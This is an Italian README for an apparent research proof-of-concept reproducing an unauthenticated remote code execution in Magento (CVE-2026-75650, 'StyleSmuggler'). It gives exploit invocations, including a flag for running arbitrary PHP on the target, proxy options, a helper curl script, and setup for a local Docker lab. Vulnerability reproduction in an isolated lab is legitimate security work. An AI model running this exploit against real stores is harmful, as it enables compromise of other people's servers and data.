
PoC Python che riproduce CVE-2026-75650 StyleSmuggler, un RCE non autenticato su Magento tramite avvelenamento dei report e rendering dei pagamenti falliti, con verifica canary.
Repository di ricerca privato per la riproduzione solo HTTP di StyleSmuggler, CVE-2026-75650, contro un laboratorio locale di Magento Open Source.
Leggi la guida tecnica completa in Magento StyleSmuggler RCE: Report Poisoning to Code Execution.
Il PoC Python esegue la sequenza completa non autenticata:
type, text e styles nella
query string;Non copia mai un helper nel container né invoca lo scanner tramite Docker. La libreria standard di Python è sufficiente.
python3 exploit.py --target http://localhost:18082
L'output finale deve contenere e lo stesso marcatore fresco stampato in precedenza in quella esecuzione. Un canary esistente non può soddisfare il controllo perché ogni esecuzione genera un nuovo marcatore.
RCE VERIFIEDSTYLESMUGGLER_RUN_...Il percorso del report deve essere il percorso visto dal processo PHP di destinazione. Sovrascrivilo quando Magento usa un'altra document root:
python3 exploit.py \
--target http://localhost:18082 \
--report-dir /srv/magento/var/report
Passa istruzioni PHP senza <?php o ?>:
python3 exploit.py \
--target http://localhost:18082 \
--code 'file_put_contents(getcwd()."/custom-test.txt", "PHP ".PHP_VERSION.PHP_EOL);'
curl -sS http://localhost:18082/custom-test.txt
Il PoC scrive il suo marcatore di verifica fresco prima di eseguire il frammento fornito e verifica comunque quel marcatore in seguito.
Ogni richiesta, inclusi l'avvelenamento del report e il recupero finale del canary, può essere inviata attraverso un proxy HTTP:
python3 exploit.py \
--target http://localhost:18082 \
--proxy http://127.0.0.1:8082
Aggiungi --proxy-insecure per un target HTTPS il cui certificato intercettato non è
considerato attendibile da Python.
curl_failed_payment.sh esegue le quattro richieste della Fase 2 ed etichetta il
componente Magento raggiunto da ciascuna richiesta. Richiede curl, jq e
openssl:
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
Imposta un altro target o listener Burp tramite variabili d'ambiente:
MAGENTO_URL=http://localhost:18082 \
BURP_PROXY=http://127.0.0.1:8082 \
./curl_failed_payment.sh /var/www/html/var/report/REPORT_ID
docker-compose.yml fornisce servizi isolati MySQL, OpenSearch e PHP/Apache
su 127.0.0.1:18082. Si aspetta un albero sorgente di Magento installato in
./magento2-src.
La validazione finale pulita ha usato il commit di Magento:
f8405be831efa461ec18cc5a637cd98afa767015
Clona il sorgente e installa le sue dipendenze Composer prima di eseguire il
normale processo setup:install di Magento:
git clone --filter=blob:none --branch 2.4-develop \
https://github.com/magento/magento2.git magento2-src
git -C magento2-src checkout f8405be831efa461ec18cc5a637cd98afa767015
docker compose build web
docker compose up -d db opensearch
docker compose run --rm web composer install --no-interaction
Dopo che Magento è installato con host del database db, host OpenSearch
opensearch e URL di base http://localhost:18082/, avvia il servizio web:
docker compose up -d web
docker compose ps